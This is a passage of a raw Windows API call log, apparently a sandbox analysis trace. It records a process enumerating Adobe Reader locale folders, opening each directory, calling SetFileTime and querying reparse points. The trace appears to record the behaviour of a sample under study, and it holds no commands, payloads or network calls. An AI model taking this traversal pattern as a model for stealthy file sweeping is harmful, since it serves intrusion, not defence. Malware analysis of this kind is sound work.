dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.FRA", cAlternateFileName="")) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.FRA", cAlternateFileName="")) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.fra", cAlternateFileName="")) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0081.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127bc08 [0082.003] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.003] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0082.003] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0082.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0082.004] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0082.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0082.004] NtClose (Handle=0x168) returned 0x0 [0082.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x127bc08) returned 1 [0082.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127bc08 [0082.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127bd10 [0082.005] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0082.005] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.005] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9850, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127be18 [0082.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a6e8 [0082.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127bf20 [0082.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.007] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a708 [0082.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127c028 [0082.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.009] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.009] GetLastError () returned 0x12 [0082.009] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0082.009] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9850, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.009] GetLastError () returned 0x12 [0082.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x127bd10) returned 1 [0082.009] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x127be18) returned 1 [0082.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x127bc08) returned 1 [0082.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.FRA", cAlternateFileName="")) returned 1 [0082.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.FRA", cAlternateFileName="")) returned 1 [0082.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.FRA", cAlternateFileName="")) returned 1 [0082.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.FRA", cAlternateFileName="")) returned 0 [0082.010] GetLastError () returned 0x12 [0082.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.010] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0082.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.010] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr_HR", cAlternateFileName="")) returned 1 [0082.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.011] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.011] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0082.011] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0082.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0082.011] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0082.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0082.012] NtClose (Handle=0x16c) returned 0x0 [0082.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.012] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0082.014] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.014] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.HRV", cAlternateFileName="")) returned 1 [0082.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0082.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a728 [0082.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127bc08 [0082.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.016] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x66600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.HRV", cAlternateFileName="")) returned 1 [0082.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a748 [0082.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127be18 [0082.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6bc0) returned 0x129aab0 [0082.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1293f28) returned 1 [0082.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.018] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.HRV", cAlternateFileName="")) returned 1 [0082.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a768 [0082.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127bd10 [0082.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.019] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x76e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.HRV", cAlternateFileName="")) returned 1 [0082.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a788 [0082.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127c130 [0082.021] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.021] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.HRV", cAlternateFileName="")) returned 1 [0082.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.021] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.021] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a7a8 [0082.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127c238 [0082.022] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.022] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.HRV", cAlternateFileName="")) returned 1 [0082.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.022] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.023] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a7c8 [0082.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127c340 [0082.023] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.023] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, 